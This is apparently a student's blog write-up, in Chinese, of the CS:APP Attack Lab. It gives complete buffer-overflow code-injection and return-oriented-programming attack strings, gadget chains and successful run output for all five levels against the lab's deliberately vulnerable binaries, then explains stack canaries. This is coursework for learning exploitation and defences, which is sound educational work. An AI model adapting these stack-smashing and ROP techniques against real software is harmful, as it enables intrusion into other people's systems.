banner
CedricXu

CedricXu

计科学生 / 摄影爱好者

[CSAPP]攻擊實驗室 代碼注入與ROP

介紹#

實驗對應章節:3.10.3&3.10.4
實驗內容:針對兩個具有安全漏洞的程序生成五種不同的方式攻擊
實驗講義:http://csapp.cs.cmu.edu/3e/attacklab.pdf
實驗收穫:

  • 學習針對緩衝區溢出的不同攻擊方式
  • 學習如何寫出更安全的程序以及操作系統和編譯器提供了哪些能讓程序安全的特性
  • 了解 x86-64 程序的堆疊和參數傳遞機制
  • 熟悉 debug 工具如GDBOBJDUMP

前言#

我們的攻擊目標是 CTARGET 和 RTARGET 這兩個有漏洞的可執行程序,它們的功能都是從標準輸入中讀取字符串,函數定義如下:

unsigned getbuf(){
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

可以看到函數在堆疊上申請了一塊大小為BUFFER_SIZE的空間,當我們輸入的字符串長度超過這個大小時,便可以修改預期以外的堆疊空間,比如返回地址,從而發動攻擊。
實驗概述

Part Ⅰ: 代碼注入攻擊#

在前三個階段,我們將使用代碼注入來攻擊 CTARGET。該程序的堆疊位置在每次運行中保持一致,堆疊上的數據可以被視為可執行代碼。

Level1#

在階段一,我們不需要注入任何指令,只要修改返回地址,使程序重定向
getbuf函數在 CTARGET 中被test函數調用:

void test() {
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

正常情況下,getbuf在執行完後將會返回test並打印信息,但是我們想要改變這一行為,轉而執行touch1

void touch1() {
	vlevle = 1;
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

讓我們來看getbuf的匯編代碼:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

下面畫出了getbuf執行時的堆疊的組織,該程序把堆疊指針減少了 0x28,在堆疊上分配了 40 字節,字符數組buf位於堆疊頂部
image.png
所以我們只需要輸入 40 字節的空白字符,再輸入 8 字節的目標地址覆蓋原本返回地址即可,查閱反匯編代碼得到touch1函數的地址

00000000004017c0 <touch1>

所以我們的攻擊字符串為

#phase1.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

成功破解,執行時加-q可以取消與 CMU 的伺服器通訊

 ./hex2raw < ./phase1/phase1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00

Level2#

階段二要求在攻擊字符串中插入少量的代碼,目標是執行touch2

void touch2(unsigned val) {
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
	exit(0);
}

可以看到相比於touch1touch2多了個無符號參數cookie,需要的值存在cookie.txt中,為0x59b997fa
匯編:

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	call   401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	call   401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

傳入cookie的值存在%rdi中,所以我們要執行的步驟是:

  • 將 0x69b997fa 存入%rdi
  • 調用touch2
    我們可以把這兩個步驟的指令放到攻擊字符串的開頭,然後將攻擊字符串的 41-48 字節改為字符串的地址 A,即getbuf%rsp-0x28後最低的地址,這樣做在getbuf返回時將到達 A 處執行以上兩個步驟,攻擊字符串載入後的堆疊如下圖所示:
    image.png
    現在我們獲取 A 的實際數值,使用GDBgetbuf移動堆疊指針後打下斷點然後打印%rsp的值
❯ gdb ctarget
(gdb) b *0x4017af
(gdb) run -q
(gdb) p /x $rsp
$1 = 0x5561dc78

然後得到攻擊步驟的機器碼,首先寫成匯編形式

movq $0x59b997fa, %rdi   # 將cookie寫入%rdi
pushq $0x4017ec          # 跳轉到touch2
ret

然後使用clang匯編使用objdump反匯編

❯ clang -c phase2.s & objdump -d phase2.o > phase2_dump.s

得到如下內容:

0000000000000000 <.text>:
   0: 48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7: 68 ec 17 40 00          push   $0x4017ec
   c: c3                      ret

所以我們可以得到攻擊字符串:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00    #   攻擊指令
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    #   攻擊指令地址,即A

破解成功:

❯ ./hex2raw < ./phase2/phase2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00

Level3#

第三階段仍然是代碼注入攻擊,相比於第二階段,傳入的無符號數cookie變為了字符串形式,要執行的目標程序touch3如下:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
	char cbuf[110];
	/* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval) {
	vlevel = 3;     /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}

其中hexmatch的作用是比較輸入字符串是否與cookie相等,總體思路與階段二類似但需要注意兩點:

  • cookie以字符串的形式傳入需要轉換為 ASCII 碼形式並且存放在堆疊中
  • 調用getbufhexmatch時,在strcmp之前將進行 4 次壓堆疊操作,需要注意字符串存放的位置以免被覆蓋
    下面是攻擊字符串輸入後的堆疊:
    image.png
    將攻擊指令寫成匯編形式:
movq $0x5561dca8, %rdi  # cookie字符串存儲位置(A+0x30)
pushq $0x4018fa         # touch3地址
ret

匯編再反匯編得到機器碼:

0000000000000000 <.text>:
   0: 48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7: 68 fa 18 40 00          push   $0x4018fa
   c: c3                      ret

構造攻擊字符串:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00     #    攻擊指令
00 00 00 00 00 00 00 00     <-|
00 00 00 00 00 00 00 00       |  這四行將被覆蓋
00 00 00 00 00 00 00 00       |  
78 dc 61 55 00 00 00 00     <-|- 攻擊指令地址
35 39 62 39 39 37 66 61     #    cookie的ASCII碼 
00 00 00 00 00 00 00 00     #    \0

破解成功:

❯ ./hex2raw < ./phase3/phase3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

Part Ⅱ: 返回導向編程#

利用緩衝區溢出來進行代碼注入攻擊顯得過於危險了,所以人們使用了一些技術來抵禦它們,在最後兩個階段,我們將攻擊RTARGET,它使用了如下的兩個技術:

  • 堆疊隨機化:每次運行時堆疊的位置都有所變化,這使得我們無法攻擊字符串的堆疊地址,即上文中使用的 A
  • 限制可執行代碼區域:將堆疊中的保存的內容標記為不可執行,所以即使我們能跳轉到攻擊字符串,但會因為分段錯誤無法運行
    好在有一些聰明的人找到了解決方法 —— 返回導向編程 (ROP)
    image.png
    它的原理是拼接程序本身的代碼段來進行攻擊,拼接時每一個小部分稱為 gadget,每個 gadget 包含若干條指令並且以 0x3c (ret 指令) 結尾
    讓我們來看一個例子,這是 RTARGET 程序中的某個 C 語言代碼片段
void setval_210(unsigned *p) {
	*p = 3347663060U;
}

以及對應的匯編指令

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7        movl $0xc78948d4,(%rdi)
400f1b: c3                       retq

其中包含的48 49 c7片段可以被編碼為movq %rax, %rdic3可以被編碼為ret, 所以如果跳轉到0x400f118執行,這段代碼的功能就是:

movq %rax, %rdi
ret

這就是一個 gadget 了,當我們明確攻擊的行為後,可以尋找合適的 gadget 並組合起來構成一個代碼鏈來進行攻擊

Level2#

階段四將要使用 ROP 來完成和階段二相同的任務,將 cookie 數值傳入 touch2, 我們已經分解為了兩步:

  • 將 0x69b997fa 存入%rdi
  • 調用touch2
    同時題目要求只能使用前八個寄存器 (% rax-% rdi),只能使用start_farmmid_farm之間的指令作為 gadget,經過仔細地查找,發現可以把攻擊過程變為以下兩個 gadget:
popq %rax            (58)
movq %rax %rdi       (48 89 c7)   

確定每個 gadget 的地址

00000000004019ca <getval_280>:
  4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax
  4019cf: c3                    ret

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3                    ret

地址分別可以取0x4019cc0x4019a3其中90編碼為nop可忽略,所以我們的攻擊字符串可以為:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00         # 前0x28位
cc 19 40 00 00 00 00 00         # 返回地址,指向popq %rax
fa 97 b9 59 00 00 00 00         # 要pop的值(cookie)
a2 19 40 00 00 00 00 00         # 指向movq
ec 17 40 00 00 00 00 00         # 指向touch2

破解成功:

❯ ./hex2raw < ./phase4/phase4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

Level3#

階段五我們將使用 ROP 來破解階段三的任務,即向touch3中傳入 cookie 字符串的地址,所以我們需要知道%rsp的值來計算字符串存儲地址,我們發現mid_farm之後有個不一樣的函數:

00000000004019d6 <add_xy>:
  4019d6: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  4019da: c3                    ret

它的作用是將%rdi%rsi相加,所以我們可以將%rsp和字符串地址的相對偏移量存入從而計算出字符串地址,具體過程如下:

1. movq %rsp %rdi
2. popq %rax          # 彈出存在堆疊中的偏移量
3. movq %rax %rsi
4. movq %rax %rdi     # 將計算結果作為參數

對於 1,沒有發現直接的步驟,所以我們繼續將 1 拆成兩步:

  • movq %rsp %rax (48 89 e0)
  • movq %rax %rdi (48 89 c7)
0000000000401a03 <addval_190>:
  401a03: 8d 87 41 48 89 e0     lea    -0x1f76b7bf(%rdi),%eax
  401a09: c3                    ret

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3                    ret

對於 2,popq % rax 編碼為 58,我們找到

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3  

對於 3,也沒有直接的步驟,只能拆成三步:

  • movq %eax %edx (89 c2)
  • movq %edx %ecx (89 d1)
  • movq %ecx %esi (89 ce)
    我們找到以下 gadget:
00000000004019db <getval_481>:
  4019db: b8 5c 89 c2 90        mov    $0x90c2895c,%eax
  4019e0: c3                    ret
  
0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3 

0000000000401a11 <addval_436>:
  401a11: 8d 87 89 ce 90 90     lea    -0x6f6f3177(%rdi),%eax
  401a17: c3                    ret

注意38 c9編碼後在功能上和nop一致,可以忽略,所以我們的攻擊字符串可以為

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     # keep empty
06 1a 40 00 00 00 00 00     # movq %rsp %rax
a2 19 40 00 00 00 00 00     # movq %rax %rdi <-- 取%rsp值的位置
ab 19 40 00 00 00 00 00     # popq %rax
48 00 00 00 00 00 00 00     # offset
dd 19 40 00 00 00 00 00     # movl %eax %edx
34 1a 40 00 00 00 00 00     # movl %edx %ecx
13 1a 40 00 00 00 00 00     # movl %ecx %esi
d6 19 40 00 00 00 00 00     # add_xy
a2 19 40 00 00 00 00 00     # movq %rax %rdi
fa 18 40 00 00 00 00 00     # touch 3
35 39 62 39 39 37 66 61     # cookie字符串
00 00 00 00 00 00 00 00

其中 cookie 字符串在取 % rsp 值的位置的下 9 行,偏移量為8*9=72=0x48,注意和 phase3 一樣,攻擊字符串的第 2 行到第 5 行不要放置 cookie,否則會被覆蓋,最後一題也完成了:

❯ ./hex2raw < ./phase5/phase5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00

後話#

既然上面兩種方法(堆疊隨機化和限制可執行代碼區域)無法對 ROP 進行有效的防禦,那我們還有什麼辦法嗎?其實是有的,那就是堆疊破壞檢測。我們發現堆疊的破壞往往發生在超越局部緩衝區邊界時,那我們可以在堆疊幀中任何局部緩衝區與堆疊狀態之間存儲一個特殊的金絲雀(canary)值,這個值是程序運行過程中隨機產生的,在函數返回之前程序檢查金絲雀值是否發生改變,如果是的,那麼程序異常中止
最近的 GCC 版本會判斷一個函數是否容易遭受堆疊溢出攻擊並且自動插入這種溢出檢測,只帶來很小的性能損失但卻有不錯的效果

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。